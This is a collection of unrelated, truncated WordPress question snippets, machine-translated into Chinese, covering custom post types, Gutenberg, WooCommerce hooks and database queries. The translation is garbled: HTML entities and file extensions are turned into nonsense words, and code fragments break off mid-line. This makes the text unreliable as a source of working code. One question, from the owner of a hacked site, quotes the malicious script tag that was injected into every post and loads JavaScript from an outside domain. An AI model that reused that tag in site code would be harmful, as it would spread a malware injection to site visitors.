显示模板页面中自定义的帖子类型
我的插件具有自定义帖子类型,可在由以下挂钩触发的自定义页面上打开:add_filter (\'template_include\', \'taxonomy_template\'); // PRINTING PAGE但是,此页面仅在我访问菜单时显示:设置(>);永久链接而且保存时甚至不更改任何内容,是否有钩子可以进行此检查并自动保存?
区块编辑完全失去了两个超级用户中的第二个
tl;dr: 博客网络中的两个超级用户。15个站点。当第二个用户在块编辑器中登录时,将消失。我可以看到古腾堡>;演示菜单项,我可以打开;欢迎来到古腾堡编辑”;演示页面,但此页面(以及整个博客网络中所有15个站点中的所有其他页面和帖子)是使用常规代码编辑器呈现的。对于第一个用户,一切正常我有一个拥有15个网站的博客网络。我正在使用古腾堡编辑器编辑我在这些网站上的帖子。我有古腾堡插件单独安装。已启用自动更新。现在是9.3.0版。我的博客网络中还有两个用户,他们都是超级用户:但第二种是非活性的,每年使用一次
我可以安排我的网站在设定的时间和日期上线吗?
或者必须启动站点manually?为了纪念我已故叔叔的二战经历,我希望我的网站launch 11月11日上午11点。
从POST父对象构建子对象和锚定器3
我正在尝试从自定义帖子类型构建一个三级菜单,并希望从帖子儿童和家长构建一个完整的三级菜单,包括上下所有级别。实际上是函数wp_list_pages()这真的很棒,实际上包括了我想要的所有级别。但我还想稍微修改一下查询,并排除一些适合元查询的帖子,我正在使用另一个类似这样的地方:$meta_query[] = array( \'relation\' => \'or\', array( \'key\' => \
在WooCommerce内部调用“WooCommerce_BEFORE_ADD_TO_CART_BUTTON”钩子时,CF7 AJAX无法正常工作
我正在尝试在产品详细信息页面上放置一份CF7联系人表单。我用过WooCommerce钩子woocommerce_before_add_to_cart_button 为此。add_action( \'woocommerce_before_add_to_cart_button\', \'custom_before_add_to_cart_btn\' ); function custom_before_add_to_cart_btn() { echo do_shortcode(
如何在网站黑客攻击后从所有帖子中批量删除一行
我的Wordpress网站被黑客入侵,每个帖子都有<script src=\'https://crow.lowerthenskyactive.ga/m.js?n=ns1\' type=\'text/javascript\'></script>添加到我需要删除的每个帖子的末尾。我有375个帖子需要删除我已经试过了UPDATE wp_posts SET post_content = REPLACE (post_content, \'<p style="text-alig
通配符转发所有帖子和页面,几乎没有例外
我想从示例中移动我的域。com到示例。dev并设置通配符转发。我使用WordPress写博客,现在我希望所有的帖子和页面都移动到新的地址,但我希望一些页面可以使用我以前的地址访问。例如:example.com/post -> example.dev/post example.com/post2 -> example.dev/post2 [all posts be redirected] example.com/page1 -> example.dev/page1&
Internet Explorer无法从多站点中找到正确的内容
好吧,这是奇怪的一个。我只在IE中遇到这个问题,没有其他浏览器。我有一个wordpress多站点安装,其中有以下内容:示例。comandexample公司。com/子安装因此,当用户访问时,有一个首页:例如。com/子安装当您访问它时,首页确实会显示出来。但是,如果用户登录,该页面的内容应该会更改。有时,当用户登录时,该内容不会更改。当我单击F12并选中“网络”选项卡时,似乎出现了问题,因为浏览器试图访问示例的子页。com而非示例。com/子安装:如图所示,页面按预期工作:有没有办法防止这种情况?有人知道
检查页面是否有子项,但没有附件
我试图显示一个子菜单,如果您在父页面上,则显示父页面的子页面,如果您在其中一个子页面上,则显示同级页面,但问题是,如果页面具有特征图像,则会被识别为父页面。这是我使用的代码: // check if page have children $children = get_children( get_the_ID() ); if ( ! empty($children)) { echo \'<ul class=&quo
WP-CLI插件安装导致PHP致命错误-在不在对象上下文中时使用$This
运行时sudo wp install plugin pluginname --allowroot它会导致错误:PHP致命错误:未捕获错误:在/var/www/html/wp-content/plugins/pluginname/blocks中不在对象上下文中时使用$this。菲律宾比索:89我们有一个自定义插件,其中包含以下内容: class Block{ public static function Run() { add_action(\'e
更改商店存档页面上的标题标签(当前解决方案恢复为循环中第一个产品的标题)
首先,add_theme_support( \'title-tag\' ); 在我的主题中启用。我有两个过滤器可以修改标题,这一个连接到the_titleadd_filter( \'the_title\', \'custom_account_endpoint_titles\', 10, 2 ); function custom_account_endpoint_titles( $title ) { // Currently only have conditions here fo
Woodse可以动态地用于从另一个插件进行支付处理的账单吗?
我正在开发一个插件,而不是编写自己的支付处理代码,我想知道是否可以利用woocommerce来实现这一点。我的插件处理相当于租用空间的内容,所有自定义管理都是用我的插件完成的。如果woocommerce有办法收集并记录我插件的付款,那就太好了。这可能吗?我发现的关于API的大多数示例似乎都适用于woocommerce的远程API使用。谢谢
在没有Foreach()的情况下选择单列时,如何从$wpdb->GET_RESULTS获得仅取值的平面数组?
我的问题是:$var = $wpdb->get_results("SELECT field FROM {$wpdb->prefix}table", ARRAY_A); var_dump($var); 它返回类似于数组(2){[0]=>;数组(1){[“字段”]=&燃气轮机;字符串(5)“”;测试1“}[1] =>;数组(1){[“字段”]=&燃气轮机;字符串(t)“”;测试2“}。一、 e.每个项目都是一行,具有单个名称-值对。我想要的是数组(2)
快速编辑保存后,CPT管理表中的自定义列未更新
我有一个叫company 使用自定义字段url 和partner.自定义列在CPT admin表中正确显示,内容正确。还将显示并正确填充每行的快速字段。在“快速编辑”中单击“更新”按钮时,post\\u meta会正确更新,值保存在数据库中,但Ajax不会更新列的内容。如果刷新页面,则会正确显示页面自定义列,但此快速编辑的全部目的是避免页面刷新。客户端将不知道其更改已保存,并将保持快速编辑并丢失数据。我错过了什么?EDIT: 我的问题是因为一个与PODS相关的缓存功能,这是一个用于自定义port\\u m
强制特定产品类型的元数据
我在一个Woocommerce网站上工作,我有多种产品类型:simple\\u product、enviso\\u group\\u offer和enviso\\u group\\u ticket。所有这些类型都只是我Woocommerce中的产品。否我只想将noindex、nofollow meta标记添加到enviso_group_ticket 产品。<meta name=”robots” content=”noindex,nofollow”/> 我如何才能做到这一点?当我使用S
从wp-admin用户界面更新导入的子主题
我可以完全访问远程WordPress站点的wp管理区域。我宁愿一直在这个UI中工作,而不使用FTP。我已成功地从wp admin区域中导入了现有父主题的自定义子主题。我的问题是,在wp管理区域,每次我有需要应用的新更改时,我是否可以简单地重新上传相同的子主题zip包?这是一种合适的做法吗?或者这会导致问题吗?
自定义发布类型存档页面URL
我创建了一个名为provider的自定义帖子类型,目前我有一个如下URL结构:。com/provider/abc。com/提供商/xyz等现在我想在提供者页面中添加一些内容,主要是出于SEO原因。在查看了归档页面的工作方式后,我发现最好只更改提供商的归档页面的URL。因此,新的URL是。com/提供商存档/同时保留系统中已存在的提供商的相同URL,因此它们将保留:。com/provider/abc。com/提供商/xyz等</这样,我就可以创建一个常规页面,并为其提供/提供者/URL。我正试图通过更
自定义角色无法访问wp-admin
我正在尝试创建一个自定义角色,非常类似于admin,但没有编辑/删除插件的功能。因为我不习惯使用插件,所以我编辑了这些函数。php文件添加如下内容:// Add a custom user role $result = add_role( \'new_role\', __( \'New Role\' ), array( \'edit_posts\' => true, // Allows user to edit their own posts \'
如何从WordPress‘WP Crontrol’插件运行SQL查询
我有一个SQL查询,如果我直接在数据库中运行它,它可以实现我想要的功能:UPDATE wp_pmpro_memberships_users SET wp_pmpro_memberships_users.status = \'admin_cancelled\' WHERE wp_pmpro_memberships_users.user_id IN ( /*Select all users that have an active Membership but
如何在编辑函数返回之外使用setAttributes
这可能只是不理解JavaScript/ESNext作用域或函数传递(或两者兼而有之)的简单情况,但我无法让setAttributes在primary之外工作;return“返回”;我的编辑功能。我在这个主题上尝试了无数不同的变体,下面两个是最接近的。首先,这似乎是一种工作,但可能存在范围界定问题。在第二种情况下,将函数传递给组件似乎不起作用。我尝试的第一件事就是使用它,试着从他们在gutenberg/image-editor.js 但这会导致奇怪的行为:export default function Ed